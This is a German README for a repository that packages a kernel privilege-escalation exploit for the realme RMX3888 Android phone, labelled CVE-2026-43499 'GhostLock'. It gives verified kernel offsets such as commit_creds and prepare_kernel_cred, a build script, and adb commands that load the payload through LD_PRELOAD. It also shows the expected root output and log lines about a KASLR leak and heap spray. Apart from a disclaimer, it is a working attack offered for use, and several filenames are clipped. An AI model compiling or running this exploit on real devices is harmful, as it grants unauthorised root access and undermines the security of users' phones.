CVE-2026-43499 Exploit-Konfiguration für realme RMX3888

Geräteinformationen

Marke/Modell: realme RMX3888
Android-Version: 16 (SDK 36)
Build-ID: BP2A.250605.015
Kernel: Linux 6.1.141-android14-11-o-gffc54a6d2287
SoC: Qualcomm SM8650 (Snapdragon 8 Gen 3)
Architektur: ARM64 (aarch64)

Überblick

Dieses Repository enthält die vollständigen Konfigurationsdateien für den CVE-2026-43499-Exploit (GhostLock), der auf das Gerät realme RMX3888 abzielt. Alle Kernel-Offsets wurden aus der boot.img des Geräts extrahiert und verifiziert.

Funktionen

✓ 20 verifizierte Kernel-Offsets aus vmlinux extrahiert
✓ Echtzeit-Protokollierung mit O_SYNC + fsync für Kernel-Panic-Sicherheit
✓ Gerätespezifische Konfiguration für RMX3888
✓ Ein-Klick-Kompilierungsskript mit NDK-Autoerkennung
✓ Umfassende Dokumentation mit Build-Anleitungen

Enthaltene Dateien

Konfigurationsdateien

arget.h - Gerätespezifische Kernel-Offsets (20 verifizierte Offsets)
common.h - Build-Konfiguration mit Protokollierungsintegration

ealtime_log.h - Implementierung der Echtzeit-Protokollierung

Dokumentation

BUILD_GUIDE.md - Vollständige Kompilierungsanleitung

eport.md - Detaillierter Analysebericht (Runde 1)

ound2_report.md - Konfigurationsbericht (Runde 2)

ROUND2_STATUS.md - Zusammenfassung des Ausführungsstatus
compile_status.json - Maschinenlesbarer Build-Status

Skripte

compile_rmx3888.sh - Ein-Klick-Kompilierungsskript

Schnellstart

Voraussetzungen

Android NDK r26d oder neuer
Git Bash, Linux/WSL oder Termux-Umgebung

Kompilierung

git clone https://github.com/Bailan766/rmx3888-cve-2026-43499-config.git
cd rmx3888-cve-2026-43499-config
export ANDROID_NDK_HOME=/path/to/android-ndk
chmod +x compile_rmx3888.sh
./compile_rmx3888.sh

Unter Windows Git Bash erkennt das Skript automatisch den Standard-SDK-Pfad, der von Android Studio und den Kommandozeilen-Tools verwendet wird: /c/Android/Sdk/ndk/*.

Hinweis: ASHMEM_MISC_FOPS, ASHMEM_COMPAT_IOCTL und COPY_SPLICE_READ verwenden derzeit build-kompatible Fallbacks im RMX3888-Ziel-Header. Ersetzen Sie diese durch verifizierte RMX3888-vmlinux-Offsets, bevor Sie sich auf das Laufzeitverhalten verlassen.

Verwendung

# Push to device
adb push build/rmx3888-BP2A.250605.015/bin/preload.so /data/local/tmp/

# Set permissions
adb shell chmod 755 /data/local/tmp/preload.so

# Execute exploit
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

# Check logs
adb shell cat /sdcard/Download/log_*.txt

Wichtige Offsets

Die folgenden Haupt-Offsets wurden aus Kernel 6.1.141 extrahiert. Siehe den Hinweis oben für build-kompatible Fallback-Einträge, die noch eine RMX3888-spezifische Verifizierung benötigen.

#define KIMAGE_TEXT_BASE        0xffffffc008000000ULL
#define INIT_TASK_OFF           0x0202fc00ULL
#define SECURITY_HOOK_HEADS_OFF 0x015c1488ULL
#define ASHMEM_FOPS_OFF         0x0126bbe0ULL
#define COMMIT_CREDS            0xffffffc0081e9b60 (offset: 0x001e9b60)
#define PREPARE_KERNEL_CRED     0xffffffc0081e9df0 (offset: 0x001e9df0)
// ... 15 more verified offsets

Logging-Funktionen

Das integrierte Echtzeit-Logging-Modul bietet:

Primärer Log-Pfad: /sdcard/Download/log_.txt
Fallback-Pfad: /data/local/tmp/log_.txt
Kernel-Panic-sicher: Verwendet O_SYNC + fsync() für sofortiges Schreiben auf die Festplatte
Zeitgestempelte Einträge: Alle Log-Einträge enthalten präzise Zeitstempel
stderr-Spiegel: Logs werden zusätzlich an stderr für adb logcat ausgegeben

Erwartete Ergebnisse

Erfolgreiche Ausnutzung

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),...

Log-Dateiausgabe

` === CVE-2026-43499 Exploit Log Started === Time: 2026-07-23 18:00:00 PID: 12345 UID: 2000 Log Path: /sdcard/Download/log_20260723_180000.txt

[18:00:01] [] Starting exploit... [18:00:02] [+] Kernel base leaked: 0xffffffc008000000 [18:00:03] [] Preparing heap spray... ... `

Fehlerbehebung

Siehe BUILD_GUIDE.md für detaillierte Anweisungen zur Fehlerbehebung, einschließlich:

Kompilierungsfehler
Laufzeitabstürze
KASLR-Bypass-Probleme
SELinux-Richtlinienblockierungen

Sicherheitshinweis

⚠️ WARNUNG: Diese Konfiguration ist ausschließlich für autorisierte Sicherheitsforschung bestimmt.

Nur auf Geräten verwenden, die Ihnen gehören
Kompilierte Binärdateien nicht ohne Autorisierung verbreiten
Verantwortungsvolle Offenlegungspraktiken einhalten
Log-Dateien können sensible Systeminformationen enthalten

Technische Details

Extraktionsprozess

Boot.img entpackt mit Android Boot Image v4 Parser
vmlinux extrahiert mit vmlinux-to-elf (102.871 Symbole)
99.580 gültige Symbole geparst und analysiert
20 kritische Offsets gegengeprüft
Offset-Verifizierung durch Konsistenzprüfungen der Symboladressen

Offset-Verifizierung

Kernel-Basisadresse bestätigt: 0xffffffc008000000
Alle Symboladressen gegen das Speicherlayout validiert
Mit Referenzgerät (Google Pixel tokay) abgeglichen
100 % Extraktionserfolgsrate (20/20 Offsets)

Referenzen

CVE-2026-43499: GhostLock - Ion-Allocator-UAF-Schwachstelle
Exploit-Quelle: https://github.com/NebuSec/CyberMeowfia
Zielgerät: realme RMX3888 (Snapdragon 8 Gen 3)

Lizenz

Diese Konfiguration wird ausschließlich für Bildungs- und Sicherheitsforschungszwecke bereitgestellt.

Haftungsausschluss

Dieses Repository enthält Materialien zur Sicherheitsforschung. Die Autoren und Mitwirkenden sind nicht verantwortlich für jeglichen Missbrauch oder Schaden, der durch diesen Code verursacht wird. Die Verwendung erfolgt auf eigenes Risiko und nur auf Geräten, die Ihnen gehören oder für die Sie eine ausdrückliche Testautorisierung besitzen.

Generiert: 2026-07-23
Kernel-Version: 6.1.141-android14-11-o-gffc54a6d2287
Offset-Verifizierung: 100 % (20/20)
Status: Bereit zur Kompilierung

Beliebteste

rmx3888-cve-2026-43499-config